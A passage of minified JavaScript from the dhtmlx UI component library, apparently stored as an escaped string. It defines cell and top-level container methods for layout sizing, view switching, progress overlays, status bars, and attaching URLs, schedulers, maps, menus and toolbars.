A={left:\"x\",top:\"y\",width:\"w\",height:\"h\"};this.conf.size.x=u;this.conf.size.y=r;this.conf.size.w=Math.max(v,0);this.conf.size.h=Math.max(n,0);for(var s in A){var g=(m[s]||s);this.cell.style[g]=this.conf.size[A[s]]+\"px\"}this.callEvent(\"_onSetSize\",[]);if(q!==true){this._adjustCont(o,l)}else{this._adjustAttached(o)}this._adjustProgress()};this._adjustCont=function(o,m){var n=this.cell.childNodes[this.conf.idx.cont];var l=0;for(var g in this.conf.ofs_nodes.t){var h=this.conf.ofs_nodes.t[g];l+=(h==\"func\"?this[g]():(h==true?this.cell.childNodes[this.conf.idx[g]].offsetHeight:0))}var q=0;for(var g in this.conf.ofs_nodes.b){var h=this.conf.ofs_nodes.b[g];q+=(h==\"func\"?this[g]():(h==true?this.cell.childNodes[this.conf.idx[g]].offsetHeight:0))}n.style.left=\"0px\";n.style.top=l+\"px\";if(!this.conf.cells_cont){this.conf.cells_cont={};n.style.width=this.cell.offsetWidth+\"px\";n.style.height=Math.max(this.cell.offsetHeight-l-q,0)+\"px\";this.conf.cells_cont.w=parseInt(n.style.width)-n.offsetWidth;this.conf.cells_cont.h=parseInt(n.style.height)-n.offsetHeight}n.style.left=\"0px\";n.style.top=l+\"px\";n.style.width=Math.max(this.cell.offsetWidth+this.conf.cells_cont.w,0)+\"px\";n.style.height=Math.max(this.conf.size.h-l-q+this.conf.cells_cont.h,0)+\"px\";n=null;this._adjustAttached(o);if(m==\"expand\"&&this.dataType==\"editor\"&&this.dataObj!=null){this.dataObj._prepareContent(true)}};this._mtbUpdBorder=function(){var h=[\"menu\",\"toolbar\",\"ribbon\"];for(var m=0;m<h.length;m++){if(this.conf.idx[h[m]]!=null){var n=this.cell.childNodes[this.conf.idx[h[m]]];var l=\"dhx_cell_\"+h[m]+\"_no_borders\";var g=\"dhx_cell_\"+h[m]+\"_def\";n.className=n.className.replace(new RegExp(this.conf.borders?l:g),this.conf.borders?g:l);n=null}}};this._resetSizeState=function(){this.conf.cells_cont=null};this.conf.view=\"def\";this.conf.views_loaded={};this.conf.views_loaded[this.conf.view]=true;this._viewSave=function(l){this.views[l]={borders:this.conf.borders,ofs_nodes:{t:{},b:{}},url_data:this.conf.url_data,dataType:this.dataType,dataObj:this.dataObj,cellCont:[],dataNodes:{},dataNodesCont:{}};var m=this.cell.childNodes[this.conf.idx.cont];while(m.childNodes.length>0){this.views[l].cellCont.push(m.firstChild);m.removeChild(m.firstChild)}m=null;this.dataType=null;this.dataObj=null;this.conf.url_data=null;for(var h in this.dataNodes){for(var g in this.conf.ofs_nodes){if(typeof(this.conf.ofs_nodes[g][h])!=\"undefined\"){this.views[l].ofs_nodes[g][h]=this.conf.ofs_nodes[g][h];this.conf.ofs_nodes[g][h]=null;delete this.conf.ofs_nodes[g][h]}}this.views[l].dataNodesCont[h]=this.cell.childNodes[this.conf.idx[h]];this.cell.removeChild(this.cell.childNodes[this.conf.idx[h]]);this.views[l].dataNodes[h]=this.dataNodes[h];this.dataNodes[h]=null;delete this.dataNodes[h];this._updateIdx()}this.callEvent(\"_onViewSave\",[l])};this._viewRestore=function(l){if(this.views[l]==null){return}this.dataObj=this.views[l].dataObj;this.dataType=this.views[l].dataType;this.conf.url_data=this.views[l].url_data;for(var m=0;m<this.views[l].cellCont.length;m++){this.cell.childNodes[this.conf.idx.cont].appendChild(this.views[l].cellCont[m])}for(var h in this.views[l].dataNodes){this.dataNodes[h]=this.views[l].dataNodes[h];if(h==\"menu\"){this.cell.insertBefore(this.views[l].dataNodesCont[h],this.cell.childNodes[this.conf.idx.toolbar||this.conf.idx.cont])}if(h==\"toolbar\"){this.cell.insertBefore(this.views[l].dataNodesCont[h],this.cell.childNodes[this.conf.idx.cont])}if(h==\"sb\"){this.cell.appendChild(this.views[l].dataNodesCont[h])}this._updateIdx()}for(var h in this.views[l].ofs_nodes){for(var g in this.views[l].ofs_nodes[h]){this.conf.ofs_nodes[h][g]=this.views[l].ofs_nodes[h][g]}}if(this.conf.borders!=this.views[l].borders){this[this.views[l].borders?\"_showBorders\":\"_hideBorders\"](true)}if(this.dataType==\"url\"&&this.conf.url_data!=null&&this.conf.url_data.ajax==false&&this.conf.url_data.post_data!=null){this.reloadURL()}this.callEvent(\"_onViewRestore\",[l]);this._viewDelete(l)};this._viewDelete=function(l){if(this.views[l]==null){return}this.views[l].borders=null;for(var h in this.views[l].ofs_nodes){for(var g in this.views[l].ofs_nodes[h]){this.views[l].ofs_nodes[h][g]=null}this.views[l].ofs_nodes[h]=null}this.views[l].dataType=null;this.views[l].dataObj=null;this.views[l].url_data=null;for(var m=0;m<this.views[l].cellCont.length;m++){this.views[l].cellCont[m]=null}this.views[l].cellCont=null;for(var h in this.views[l].dataNodes){this.views[l].dataNodes[h]=null;this.views[l].dataNodesCont[h]=null}this.views[l].dataNodes=this.views[l].dataNodesCont=null;this.views[l]=null;delete this.views[l]};window.dhx4._eventable(this);this._updateIdx();return this}dhtmlXCellObject.prototype.showView=function(a){if(this.conf.view==a){return false}this._viewSave(this.conf.view);this._viewRestore(a);this._updateIdx();this._adjustCont();this.conf.view=a;var c=(typeof(this.conf.views_loaded[this.conf.view])==\"undefined\");this.conf.views_loaded[this.conf.view]=true;return c};dhtmlXCellObject.prototype.getViewName=function(){return this.conf.view};dhtmlXCellObject.prototype.unloadView=function(g){if(g==this.conf.view){var h=this.conf.unloading;this.conf.unloading=true;if(typeof(this.detachMenu)==\"function\"){this.detachMenu()}if(typeof(this.detachToolbar)==\"function\"){this.detachToolbar()}if(typeof(this.detachRibbon)==\"function\"){this.detachRibbon()}this.detachStatusBar();this._detachObject(null,true);this.conf.unloading=h;if(!this.conf.unloading){this._adjustCont(this._idd)}return}if(this.views[g]==null){return}var e=this.views[g];for(var c in e.dataNodes){if(typeof(e.dataNodes[c].unload)==\"function\"){e.dataNodes[c].unload()}e.dataNodes[c]=null;e.dataNodesCont[c]=null}if(e.dataType==\"url\"){if(e.cellCont!=null&&e.cellCont[0]!=\"null\"){this._detachURLEvents(e.cellCont[0])}}else{if(e.dataObj!=null){if(typeof(e.dataObj.unload)==\"function\"){e.dataObj.unload()}else{if(typeof(e.dataObj.destructor)==\"function\"){e.dataObj.destructor()}}e.dataObj=null}}e=null;this._viewDelete(g);if(typeof(this.conf.views_loaded[g])!=\"undefined\"){delete this.conf.views_loaded[g]}};dhtmlXCellObject.prototype.getId=function(){return this._idd};dhtmlXCellObject.prototype.progressOn=function(){if(this.conf.progress==true){return}this.conf.progress=true;var c=document.createElement(\"DIV\");c.className=this.conf.idx_data.pr1;var a=document.createElement(\"DIV\");a.className=this.conf.idx_data.pr2;if(this.conf.idx.cover!=null){this.cell.insertBefore(a,this.cell.childNodes[this.conf.idx.cover])}else{this.cell.appendChild(a)}this.cell.insertBefore(c,a);c=a=null;this._updateIdx();this._adjustProgress()};dhtmlXCellObject.prototype.progressOff=function(){if(this.conf.progress!=true){return}this.cell.childNodes[this.conf.idx.pr2].parentNode.removeChild(this.cell.childNodes[this.conf.idx.pr2]);this.cell.childNodes[this.conf.idx.pr1].parentNode.removeChild(this.cell.childNodes[this.conf.idx.pr1]);this.conf.progress=false;this._updateIdx()};dhtmlXCellObject.prototype._adjustProgress=function(){if(this.conf.idx.pr1==null){return}if(!this.conf.pr){this.conf.pr={}}var c=this.cell.childNodes[this.conf.idx.pr1];var a=this.cell.childNodes[this.conf.idx.pr2];if(!this.conf.pr.ofs){a.style.width=c.offsetWidth+\"px\";a.style.height=c.offsetHeight+\"px\";this.conf.pr.ofs={w:a.offsetWidth-a.clientWidth,h:a.offsetHeight-a.clientHeight}}a.style.width=c.offsetWidth-this.conf.pr.ofs.w+\"px\";a.style.height=c.offsetHeight-this.conf.pr.ofs.h+\"px\";c=a=null};dhtmlXCellObject.prototype._showCellCover=function(){if(this.conf.cover==true){return}this.conf.cover=true;var a=document.createElement(\"DIV\");a.className=this.conf.idx_data.cover;this.cell.appendChild(a);a=null;this._updateIdx()};dhtmlXCellObject.prototype._hideCellCover=function(){if(this.conf.cover!=true){return}this.cell.removeChild(this.cell.childNodes[this.conf.idx.cover]);this._updateIdx();this.conf.cover=false};dhtmlXCellObject.prototype._showBorders=function(a){if(this.conf.borders){return}this.conf.borders=true;this.cell.childNodes[this.conf.idx.cont].className=\"dhx_cell_cont\"+this.conf.css;this.conf.cells_cont=null;this._mtbUpdBorder();this.callEvent(\"_onBorderChange\",[true]);if(a!==true){this._adjustCont(this._idd)}};dhtmlXCellObject.prototype._hideBorders=function(a){if(!this.conf.borders){return}this.conf.borders=false;this.cell.childNodes[this.conf.idx.cont].className=\"dhx_cell_cont\"+this.conf.css+\" dhx_cell_cont_no_borders\";this.conf.cells_cont=null;this._mtbUpdBorder();this.callEvent(\"_onBorderChange\",[false]);if(a!==true){this._adjustCont(this._idd)}};dhtmlXCellObject.prototype._getWidth=function(){return this.cell.offsetWidth};dhtmlXCellObject.prototype._getHeight=function(){return this.cell.offsetHeight};dhtmlXCellObject.prototype.showInnerScroll=function(){this.cell.childNodes[this.conf.idx.cont].style.overflow=\"auto\"};dhtmlXCellObject.prototype._unload=function(){this.conf.unloading=true;this.callEvent(\"_onCellUnload\",[]);this.progressOff();this.unloadView(this.conf.view);this.dataNodes=null;this.cell.parentNode.removeChild(this.cell);this.cell=null;window.dhx4._eventable(this,\"clear\");for(var c in this.views){this.unloadView(c)}this.conf=null;for(var c in this){this[c]=null}};dhtmlXCellObject.prototype.attachObject=function(g,e){if(window.dhx4.s2b(e)&&!(typeof(window.dhtmlXWindowsCell)!=\"undefined\"&&(this instanceof window.dhtmlXWindowsCell))){e=false}if(typeof(g)==\"string\"){g=document.getElementById(g)}if(g.parentNode==this.cell.childNodes[this.conf.idx.cont]){g=null;return}if(e){g.style.display=\"\";var a=g.offsetWidth;var c=g.offsetHeight}this._attachObject(g);this.dataType=\"obj\";g.style.display=\"\";g=null;if(e){this._adjustByCont(a,c)}};dhtmlXCellObject.prototype.appendObject=function(a){if(typeof(a)==\"string\"){a=document.getElementById(a)}if(a.parentNode==this.cell.childNodes[this.conf.idx.cont]){a=null;return}if(!this.conf.append_mode){this.cell.childNodes[this.conf.idx.cont].style.overflow=\"auto\";this.conf.append_mode=true}this._attachObject(a,null,null,true);this.dataType=\"obj\";a.style.display=\"\";a=null};dhtmlXCellObject.prototype.detachObject=function(c,a){this._detachObject(null,c,a)};dhtmlXCellObject.prototype.getAttachedStatusBar=function(){return this.dataNodes.sb};dhtmlXCellObject.prototype.getAttachedObject=function(){if(this.dataType==\"obj\"||this.dataType==\"url\"||this.dataType==\"url-ajax\"){return this.cell.childNodes[this.conf.idx.cont].firstChild}else{return this.dataObj}};dhtmlXCellObject.prototype.attachURL=function(c,q,e){if(e==true){e={}}var g=(typeof(e)!=\"undefined\"&&e!=false&&e!=null);if(!this.conf.url_data){this.conf.url_data={}}this.conf.url_data.url=c;this.conf.url_data.ajax=(q==true);this.conf.url_data.post_data=(e==true?{}:(e||null));if(q==true){var o=this;if(g){var h=\"\";for(var n in e){h+=\"&\"+encodeURIComponent(n)+\"=\"+encodeURIComponent(e[n])}dhx4.ajax.post(c,h,function(a){o.attachHTMLString(\"<div style='position:relative;width:100%;height:100%;overflow:auto;'>\"+a.xmlDoc.responseText+\"</div>\");if(typeof(o._doOnFrameContentLoaded)==\"function\"){o._doOnFrameContentLoaded()}o.dataType=\"url-ajax\";o=a=null})}else{dhx4.ajax.get(c,function(a){o.attachHTMLString(\"<div style='position:relative;width:100%;height:100%;overflow:auto;'>\"+a.xmlDoc.responseText+\"</div>\");if(typeof(o._doOnFrameContentLoaded)==\"function\"){o._doOnFrameContentLoaded()}o.dataType=\"url-ajax\";o=a=null})}}else{if(this.dataType==\"url\"){var l=this.getFrame()}else{var l=document.createElement(\"IFRAME\");l.frameBorder=0;l.border=0;l.style.width=\"100%\";l.style.height=\"100%\";l.style.position=\"relative\";this._attachObject(l);this.dataType=\"url\";this._attachURLEvents()}if(g){var m=(typeof(this.conf.url_data.post_ifr)==\"undefined\");this.conf.url_data.post_ifr=true;if(m){this._attachURLEvents()}l.src=\"about:blank\"}else{l.src=c+(window.dhx4.ajax.cache!=true?(c.indexOf(\"?\")>=0?\"&\":\"?\")+\"dhxr\"+new Date().getTime():\"\")}l=null}l=null};dhtmlXCellObject.prototype.reloadURL=function(){if(!(this.dataType==\"url\"||this.dataType==\"url-ajax\")){return}if(this.conf.url_data==null){return}this.attachURL(this.conf.url_data.url,this.conf.url_data.ajax,this.conf.url_data.post_data)};dhtmlXCellObject.prototype.attachHTMLString=function(str){this._attachObject(null,null,str);var z=str.match(/<script[^>]*>[^\\f]*?<\\/script>/g)||[];for(var i=0;i<z.length;i++){var s=z[i].replace(/<([\\/]{0,1})script[^>]*>/gi,\"\");if(s){if(window.execScript){window.execScript(s)}else{window.eval(s)}}}};dhtmlXCellObject.prototype.attachScheduler=function(a,m,c,g){g=g||window.scheduler;var h=false;if(c){var l=document.getElementById(c);if(l){h=true}}if(!h){var e=c||'<div class=\"dhx_cal_tab\" name=\"day_tab\" style=\"right:204px;\"></div><div class=\"dhx_cal_tab\" name=\"week_tab\" style=\"right:140px;\"></div><div class=\"dhx_cal_tab\" name=\"month_tab\" style=\"right:76px;\"></div>';var l=document.createElement(\"DIV\");l.id=\"dhxSchedObj_\"+new Date().getTime();l.style.width=\"100%\";l.style.height=\"100%\";l.style.position=\"relative\";l.style.overflow=\"hidden\";l.className=\"dhx_cal_container\";l.innerHTML='<div class=\"dhx_cal_navline\"><div class=\"dhx_cal_prev_button\">&nbsp;</div><div class=\"dhx_cal_next_button\">&nbsp;</div><div class=\"dhx_cal_today_button\"></div><div class=\"dhx_cal_date\"></div>'+e+'</div><div class=\"dhx_cal_header\"></div><div class=\"dhx_cal_data\"></div>'}this._attachObject(l);this.dataType=\"scheduler\";this.dataObj=g;this.dataObj.setSizes=function(){this.update_view()};g.init(l.id,a,m);l=null;this.callEvent(\"_onContentAttach\",[]);return this.dataObj};dhtmlXCellObject.prototype.attachMap=function(a){var c=document.createElement(\"DIV\");c.style.width=\"100%\";c.style.height=\"100%\";c.style.position=\"relative\";c.style.overflow=\"hidden\";this._attachObject(c);if(!a){a={center:new google.maps.LatLng(40.719837,-73.992348),zoom:11,mapTypeId:google.maps.MapTypeId.ROADMAP}}this.dataType=\"maps\";this.dataObj=new google.maps.Map(c,a);this.dataObj.setSizes=function(){google.maps.event.trigger(this,\"resize\")};c=null;this.callEvent(\"_onContentAttach\",[]);return this.dataObj};dhtmlXCellObject.prototype._createNode_sb=function(n,g,m,a,l){if(typeof(l)!=\"undefined\"){n=l}else{var c=g||{};var o=(typeof(c.text)==\"string\"&&c.text.length>0?c.text:\"&nbsp;\");var e=(typeof(c.height)==\"number\"?c.height:false);var n=document.createElement(\"DIV\");n.className=\"dhx_cell_statusbar_def\";n.innerHTML=\"<div class='\"+(c.paging==true?\"dhx_cell_statusbar_paging\":\"dhx_cell_statusbar_text\")+\"'>\"+o+\"</div>\";if(e!=false){n.firstChild.style.height=n.firstChild.style.lineHeight=e+\"px\"}}if(this.conf.idx.pr1!=null){this.cell.insertBefore(n,this.cell.childNodes[this.conf.idx.pr1])}else{this.cell.appendChild(n)}this.conf.ofs_nodes.b.sb=true;this._updateIdx();this._adjustCont(this._idd);return n};dhtmlXCellObject.prototype.attachStatusBar=function(a){if(this.dataNodes.sb){return}if(a!=null&&window.dhx4.s2b(a.paging)==true){a.height=null}if(this.conf.skin==\"dhx_skyblue\"&&typeof(window.dhtmlXWindowsCell)!=\"undefined\"&&(this instanceof dhtmlXWindowsCell)){this.cell.childNodes[this.conf.idx.cont].className+=\" dhx_cell_statusbar_attached\"}this.dataNodes.sb=this._attachObject(\"sb\",a);this.dataNodes.sb.setText=function(c){this.childNodes[0].innerHTML=c};this.dataNodes.sb.getText=function(){return this.childNodes[0].innerHTML};this.dataNodes.sb.onselectstart=function(c){return false};return this.dataNodes.sb};dhtmlXCellObject.prototype.detachStatusBar=function(){if(!this.dataNodes.sb){return}if(this.conf.skin==\"dhx_skyblue\"&&typeof(window.dhtmlXWindowsCell)!=\"undefined\"&&(this instanceof dhtmlXWindowsCell)){this.cell.childNodes[this.conf.idx.cont].className=this.cell.childNodes[this.conf.idx.cont].className.replace(/\\s{0,}dhx_cell_statusbar_attached/,\"\")}this.dataNodes.sb.setText=this.dataNodes.sb.getText=this.dataNodes.sb.onselectstart=null;this.dataNodes.sb=null;delete this.dataNodes.sb;this._detachObject(\"sb\")};dhtmlXCellObject.prototype.showStatusBar=function(){this._mtbShowHide(\"sb\",\"\")};dhtmlXCellObject.prototype.hideStatusBar=function(){this._mtbShowHide(\"sb\",\"none\")};dhtmlXCellObject.prototype._mtbShowHide=function(c,a){if(!this.dataNodes[c]){return}this.cell.childNodes[this.conf.idx[c]].style.display=a;this._adjustCont()};dhtmlXCellObject.prototype.getFrame=dhtmlXCellObject.prototype._getFrame=function(){if(this.dataType!=\"url\"){return null}return this.cell.childNodes[this.conf.idx.cont].firstChild};dhtmlXCellObject.prototype._attachURLEvents=function(){if(this.dataType!=\"url\"){return}var e=this;var c=this._idd;var a=this.cell.childNodes[this.conf.idx.cont].firstChild;if(typeof(this._doOnFrameMouseDown)!=\"function\"){this._doOnFrameMouseDown=function(g){e.callEvent(\"_onContentMouseDown\",[c,g||event])}}if(typeof(window.addEventListener)==\"function\"){a.onload=function(){try{if(typeof(e._doOnFrameMouseDown)==\"function\"){this.contentWindow.document.body.addEventListener(\"mousedown\",e._doOnFrameMouseDown,false)}}catch(g){}try{if(typeof(e._doOnFrameContentLoaded)==\"function\"){e._doOnFrameContentLoaded()}}catch(g){}}}else{a.onreadystatechange=function(g){if(this.readyState==\"complete\"){try{if(typeof(e._doOnFrameMouseDown)==\"function\"){this.contentWindow.document.body.attachEvent(\"onmousedown\",e._doOnFrameMouseDown)}}catch(h){}try{if(typeof(e._doOnFrameContentLoaded)==\"function\"){e._doOnFrameContentLoaded()}}catch(h){}}}}};dhtmlXCellObject.prototype._doOnFrameContentLoaded=function(){if(this.conf.url_data.post_ifr==true){var l=this.getFrame().contentWindow.document;var h=l.createElement(\"FORM\");h.method=\"POST\";h.action=this.conf.url_data.url;l.body.appendChild(h);var e={};if(window.dhx4.ajax.cache!=true){e[\"dhxr\"+new Date().getTime()]=\"1\"}for(var c in this.conf.url_data.post_data){e[c]=this.conf.url_data.post_data[c]}for(var c in e){var g=l.createElement(\"INPUT\");g.type=\"hidden\";g.name=c;g.value=e[c];h.appendChild(g);g=null}this.conf.url_data.post_ifr=false;h.submit()}else{this.callEvent(\"_onContentLoaded\",[this._idd])}};dhtmlXCellObject.prototype._detachURLEvents=function(a){if(a==null){if(this.dataType!=\"url\"){return}a=this.cell.childNodes[this.conf.idx.cont].firstChild}if(typeof(window.addEventListener)==\"function\"){a.onload=null;try{a.contentWindow.document.body.removeEventListener(\"mousedown\",this._doOnFrameMouseDown,false)}catch(c){}}else{a.onreadystatechange=null;try{a.contentWindow.document.body.detachEvent(\"onmousedown\",this._doOnFrameMouseDown)}catch(c){}}a=null};dhtmlXCellObject.prototype._attachObject=function(h,c,g,a,e){if(typeof(h)==\"string\"&&{menu:1,toolbar:1,ribbon:1,sb:1}[h]==1){return this[\"_createNode_\"+h].apply(this,arguments)}if(a!=true){this._detachObject(null,true,null)}if(typeof(g)==\"string\"){this.cell.childNodes[this.conf.idx.cont].innerHTML=g}else{this.cell.childNodes[this.conf.idx.cont].appendChild(h)}h=null};dhtmlXCellObject.prototype._detachObject=function(h,c,a){this.callEvent(\"_onBeforeContentDetach\",[]);if(h==\"menu\"||h==\"toolbar\"||h==\"ribbon\"||h==\"sb\"){var g=this.cell.childNodes[this.conf.idx[h]];g.parentNode.removeChild(g);g=null;this.conf.ofs_nodes[h==\"sb\"?\"b\":\"t\"][h]=false;this._updateIdx();if(!this.conf.unloading){this._adjustCont(this._idd)}return}if(c==true){a=false}else{if(typeof(a)==\"undefined\"){a=document.body}else{if(typeof(a)==\"string\"){a=document.getElementById(a)}}}if(a===false){if(this.dataType==\"url\"){this._detachURLEvents()}else{if(this.dataObj!=null){if(typeof(this.dataObj.unload)==\"function\"){this.dataObj.unload()}else{if(typeof(this.dataObj.destructor)==\"function\"){this.dataObj.destructor()}}}}}var g=this.cell.childNodes[this.conf.idx.cont];while(g.childNodes.length>0){if(a===false){g.removeChild(g.lastChild)}else{g.firstChild.style.display=\"none\";a.appendChild(g.firstChild)}}if(this.conf.append_mode){g.style.overflow=\"\";this.conf.append_mode=false}var e=(this.dataType==\"tabbar\");this.dataObj=null;this.dataType=null;a=g=null;if(this.conf.unloading!=true&&e){this.showHeader(true);this._showBorders()}};dhtmlXCellObject.prototype._attachFromCell=function(c){this.detachObject(true);var g=\"layout\";if(typeof(window.dhtmlXWindowsCell)!=\"undefined\"&&this instanceof window.dhtmlXWindowsCell){g=\"window\"}if(typeof(window.dhtmlXWindowsCell)!=\"undefined\"&&c instanceof window.dhtmlXWindowsCell&&c.wins.w[c._idd].conf.parked){c.wins._winCellSetOpacity(c._idd,\"open\",false)}if(typeof(window.dhtmlXAccordionCell)!=\"undefined\"&&c instanceof window.dhtmlXAccordionCell&&c.conf.opened==false){c._cellSetOpacity(\"open\",false)}for(var e in c.dataNodes){this._attachObject(e,null,null,null,c.cell.childNodes[c.conf.idx[e]]);this.dataNodes[e]=c.dataNodes[e];c.dataNodes[e]=null;c.conf.ofs_nodes[e==\"sb\"?\"b\":\"t\"][e]=false;c._updateIdx()}this._mtbUpdBorder();if(c.dataType!=null&&c.dataObj!=null){this.dataType=c.dataType;this.dataObj=c.dataObj;while(c.cell.childNodes[c.conf.idx.cont].childNodes.length>0){this.cell.childNodes[this.conf.idx.cont].appendChild(c.cell.childNodes[c.conf.idx.cont].firstChild)}c.dataType=null;c.dataObj=null;if(this.dataType==\"grid\"){if(g==\"window\"&&this.conf.skin==\"dhx_skyblue\"){this.dataObj.entBox.style.border=\"1px solid #a4bed4\";this.dataObj._sizeFix=0}else{this.dataObj.entBox.style.border=\"0px solid white\";this.dataObj._sizeFix=2}}}else{while(c.cell.childNodes[c.conf.idx.cont].childNodes.length>0){this.cell.childNodes[this.conf.idx.cont].appendChild(c.cell.childNodes[c.conf.idx.cont].firstChild)}}this.conf.view=c.conf.view;c.conf.view=\"def\";for(var e in c.views){this.views[e]=c.views[e];c.views[e]=null;delete c.views[e]}c._updateIdx();c._adjustCont();this._updateIdx();this._adjustCont();if(c.conf.progress==true){c.progressOff();this.progressOn()}else{this.progressOff()}if(g==\"window\"&&this.wins.w[this._idd].conf.parked){this.wins._winCellSetOpacity(this._idd,\"close\",false)}};function dhtmlXCellTop(h,c){if(arguments.length==0||typeof(h)==\"undefined\"){return}var a=this;this.dataNodes={};this.conf.ofs={t:0,b:0,l:0,r:0};this.conf.ofs_nodes={t:{},b:{}};this.conf.progress=false;this.conf.fs_mode=false;this.conf.fs_tm=null;this.conf.fs_resize=false;if(h==document.body){this.conf.fs_mode=true;this.base=h;if(this.base==document.body){var g={dhx_skyblue:{t:2,b:2,l:2,r:2},dhx_web:{t:8,b:8,l:8,r:8},dhx_terrace:{t:9,b:9,l:8,r:8}};this.conf.ofs=(g[this.conf.skin]!=null?g[this.conf.skin]:g.dhx_skyblue)}}else{this.base=(typeof(h)==\"string\"?document.getElementById(h):h)}this.base.className+=\" \"+this.conf.css+\"_base_\"+this.conf.skin;this.cont=document.createElement(\"DIV\");this.cont.className=this.conf.css+\"_cont\";this.base.appendChild(this.cont);if(c!=null){this.setOffsets(c,false)}else{if(this.base._ofs!=null){this.setOffsets(this.base._ofs,false);this.base._ofs=null;try{delete this.base._ofs}catch(l){}}}this._adjustCont=function(){var n=this.conf.ofs.t;for(var m in this.conf.ofs_nodes.t){n+=(this.conf.ofs_nodes.t[m]==true?this.dataNodes[m].offsetHeight:0)}var e=this.conf.ofs.b;for(var m in this.conf.ofs_nodes.b){e+=(this.conf.ofs_nodes.b[m]==true?this.dataNodes[m].offsetHeight:0)}this.cont.style.left=this.conf.ofs.l+\"px\";this.cont.style.width=this.base.clientWidth-this.conf.ofs.l-this.conf.ofs.r+\"px\";this.cont.style.top=n+\"px\";this.cont.style.height=this.base.clientHeight-n-e+\"px\"};this._setBaseSkin=function(e){this.base.className=this.base.className.replace(new RegExp(this.conf.css+\"_base_\"+this.conf.skin,\"gi\"),this.conf.css+\"_base_\"+e)};this._initFSResize=function(){if(this.conf.fs_resize==true){return}this._doOnResizeStart=function(){window.clearTimeout(a.conf.fs_tm);a.conf.fs_tm=window.setTimeout(a._doOnResizeEnd,200)};this._doOnResizeEnd=function(){a.setSizes()};if(typeof(window.addEventListener)==\"function\"){window.addEventListener(\"resize\",this._doOnResizeStart,false)}else{window.attachEvent(\"onresize\",this._doOnResizeStart)}this.conf.fs_resize=true};if(this.conf.fs_mode==true){this._initFSResize()}this._unloadTop=function(){this._mtbUnload();this.detachHeader();this.detachFooter();if(this.conf.fs_mode==true){if(typeof(window.addEventListener)==\"function\"){window.removeEventListener(\"resize\",this._doOnResizeStart,false)}else{window.detachEvent(\"onresize\",this._doOnResizeStart)}}this.base.removeChild(this.cont);var e=new RegExp(\"s{0,}\"+this.conf.css+\"_base_\"+this.conf.skin,\"gi\");this.base.className=this.base.className.replace(e,\"\");this.cont=this.base=null;a=null};h=null}dhtmlXCellTop.prototype.setOffsets=function(l,h){var g=false;for(var c in l){var e=c.charAt(0);if(typeof(this.conf.ofs[e])!=\"undefined\"&&!isNaN(l[c])){this.conf.ofs[e]=parseInt(l[c]);g=true}}if(h!==false&&typeof(this.setSizes)==\"function\"&&g==true){this.setSizes()}};dhtmlXCellTop.prototype.attachMenu=function(a){if(this.dataNodes.menu!=null){return}this.dataNodes.menuObj=document.createElement(\"DIV\");this.dataNodes.menuObj.className=\"dhxcelltop_menu\";this.base.insertBefore(this.dataNodes.menuObj,this.dataNodes.toolbarObj||this.dataNodes.ribbonObj||this.cont);if(typeof(a)!=\"object\"||a==null){a={}}a.skin=this.conf.skin;a.parent=this.dataNodes.menuObj;this.dataNodes.menu=new dhtmlXMenuObject(a);this.dataNodes.menuEv=this.attachEvent(\"_onSetSizes\",function(){if(this.dataNodes.menuObj.style.display==\"none\"){return}this.dataNodes.menuObj.style.left=this.conf.ofs.l+\"px\";this.dataNodes.menuObj.style.marginTop=(this.dataNodes.haObj!=null?0:this.conf.ofs.t)+\"px\";this.dataNodes.menuObj.style.width=this.base.offsetWidth-this.conf.ofs.l-this.conf.ofs.r+\"px\"});this.conf.ofs_nodes.t.menuObj=true;this.setSizes();a.parnt=null;a=null;return this.dataNodes.menu};dhtmlXCellTop.prototype.detachMenu=function(){if(this.dataNodes.menu==null){return}this.dataNodes.menu.unload();this.dataNodes.menu=null;this.dataNodes.menuObj.parentNode.removeChild(this.dataNodes.menuObj);this.dataNodes.menuObj=null;this.detachEvent(this.dataNodes.menuEv);this.dataNodes.menuEv=null;delete this.dataNodes.menu;delete this.dataNodes.menuObj;delete this.dataNodes.menuEv;this.conf.ofs_nodes.t.menuObj=false;if(!this.conf.unloading){this.setSizes()}};dhtmlXCellTop.prototype.attachToolbar=function(a){if(!(this.dataNodes.ribbon==null&&this.dataNodes.toolbar==null)){return}this.dataNodes.toolbarObj=document.createElement(\"DIV\");this.dataNodes.toolbarObj.className=\"dhxcelltop_toolbar\";this.base.insertBefore(this.dataNodes.toolbarObj,this.cont);this.dataNodes.toolbarObj.appendChild(document.createElement(\"DIV\"));if(typeof(a)!=\"object\"||a==null){a={}}a.skin=this.conf.skin;a.parent=this.dataNodes.toolbarObj.firstChild;this.dataNodes.toolbar=new dhtmlXToolbarObject(a);this.dataNodes.toolbarEv=this.attachEvent(\"_onSetSizes\",function(){if(this.dataNodes.toolbarObj.style.display==\"none\"){return}this.dataNodes.toolbarObj.style.left=this.conf.ofs.l+\"px\";this.dataNodes.toolbarObj.style.marginTop=(this.dataNodes.haObj!=null||this.dataNodes.menuObj!=null?0:this.conf.ofs.t)+\"px\";this.dataNodes.toolbarObj.style.width=this.base.offsetWidth-this.conf.ofs.l-this.conf.ofs.r+\"px\"});this.dataNodes.toolbar._masterCell=this;this.dataNodes.toolbar.attachEvent(\"_onIconSizeChange\",function(){this._masterCell.setSizes()});this.conf.ofs_nodes.t.toolbarObj=true;this.setSizes();a.parnt=null;a=null;return this.dataNodes.toolbar};dhtmlXCellTop.prototype.detachToolbar=function(){if(this.dataNodes.toolbar==null){return}this.dataNodes.toolbar._masterCell=null;this.dataNodes.toolbar.unload();this.dataNodes.toolbar=null;this.dataNodes.toolbarObj.parentNode.removeChild(this.dataNodes.toolbarObj);this.dataNodes.toolbarObj=null;this.detachEvent(this.dataNodes.toolbarEv);this.dataNodes.toolbarEv=null;this.conf.ofs_nodes.t.toolbarObj=false;delete this.dataNodes.toolbar;delete this.dataNodes.toolbarObj;delete this.dataNodes.toolbarEv;if(!this.conf.unloading){this.setSizes()}};dhtmlXCellTop.prototype.attachRibbon=function(a){if(!(this.dataNodes.ribbon==null&&this.dataNodes.toolbar==null)){return}this.dataNodes.ribbonObj=document.createElement(\"DIV\");this.dataNodes.ribbonObj.className=\"dhxcelltop_ribbon\";this.base.insertBefore(this.dataNodes.ribbonObj,this.cont);this.dataNodes.ribbonObj.appendChild(document.createElement(\"DIV\"));if(typeof(a)!=\"object\"||a==null){a={}}a.skin=this.conf.skin;a.parent=this.dataNodes.ribbonObj.firstChild;this.dataNodes.ribbon=new 